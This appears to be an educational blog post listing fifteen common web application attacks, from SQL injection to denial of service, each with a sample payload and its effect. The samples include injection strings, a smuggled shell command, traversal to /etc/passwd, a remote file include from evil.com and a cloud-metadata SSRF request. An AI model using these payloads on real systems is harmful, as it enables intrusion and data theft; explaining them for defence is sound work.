Web Application Attacks

Here are some common web application attacks, each explained with examples:

1. SQL Injection

Description: Attacker inserts or manipulates SQL queries to execute arbitrary commands on the database.

Example:
Input: ' OR '1'='1
Query: SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password'
Effect: Bypasses authentication and logs in as the first user in the database.

2. Cross-Site Scripting (XSS)

Description: Attacker injects malicious scripts into webpages viewed by other users.

Example:
Input: <script>alert('XSS');</script>
Effect: Executes JavaScript in the victim’s browser, potentially stealing cookies or session data.

3. Cross-Site Request Forgery (CSRF)

Description: Attacker tricks the user into performing actions they did not intend to.

Example:
HTML: <img src="http://example.com/deleteAccount" />
Effect: If the user is logged into example.com, their account could be deleted without their consent.

4. Remote Code Execution (RCE)

Description: Attacker executes arbitrary code on the server.

Example:
Input: ; ls -la
Command: ping 127.0.0.1; ls -la
Effect: Lists directory contents on the server, exposing sensitive files.

5. Local File Inclusion (LFI)

Description: Attacker includes files from the server’s filesystem.

Example:
Input: ../../../../etc/passwd
URL: http://example.com/index.php?page=../../../../etc/passwd
Effect: Exposes the server’s password file.

6. Remote File Inclusion (RFI)

Description: Attacker includes external files into the web application.

Example:
Input: http://evil.com/shell.txt
URL: http://example.com/index.php?page=http://evil.com/shell.txt
Effect: Executes remote code hosted on evil.com.

7. Path Traversal

Description: Attacker accesses files and directories outside the web root.

Example:
Input: ../../etc/passwd
URL: http://example.com/view?file=../../etc/passwd
Effect: Exposes sensitive files on the server.

8. Broken Authentication and Session Management

Description: Attacker exploits flaws in authentication mechanisms to gain unauthorized access.

Example:
Method: Brute force attack on weak passwords
Effect: Attacker gains access to user accounts by guessing passwords.

9. Sensitive Data Exposure

Description: Application fails to protect sensitive data such as credit card numbers and passwords.

Example:
Method: Intercepting traffic using a tool like Wireshark
Effect: Attacker captures plaintext passwords and credit card information.

10. Security Misconfiguration

Description: Attacker exploits misconfigured security settings.

Example:
Issue: Default passwords not changed
Effect: Attacker logs in using default credentials like admin/admin.

11. Insecure Deserialization

Description: Attacker manipulates serialized objects to execute arbitrary code.

Example:
Input: Serialized object containing malicious code
Effect: Executes code upon deserialization, potentially compromising the server.

12. Insufficient Logging and Monitoring

Description: Lack of proper logging and monitoring allows attacks to go undetected.

Example:
Issue: No logging of failed login attempts
Effect: Attacker can repeatedly attempt to guess passwords without detection.

13. Server-Side Request Forgery (SSRF)

Description: Attacker tricks the server into making requests to unintended locations.

Example:
Input: http://169.254.169.254/latest/meta-data/
URL: http://example.com/proxy?url=http://169.254.169.254/latest/meta-data/
Effect: Accesses internal AWS metadata service, potentially leaking sensitive data.

14. Business Logic Vulnerabilities

Description: Attacker exploits flaws in the application’s business logic.

Example:
Method: Purchasing items at a discounted rate by manipulating discounts
Effect: Bypasses intended pricing mechanisms, resulting in financial loss.

15. Denial of Service (DoS)

Description: Attacker overwhelms the server with requests, making it unavailable to legitimate users.

Example:
Method: Sending a large number of requests per second
Effect: Server becomes unresponsive, denying service to legitimate users.

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These examples illustrate various types of web application attacks and the potential impacts they can have. Understanding these attacks is crucial for securing web applications against them.

Note: Blog based on publicly available information.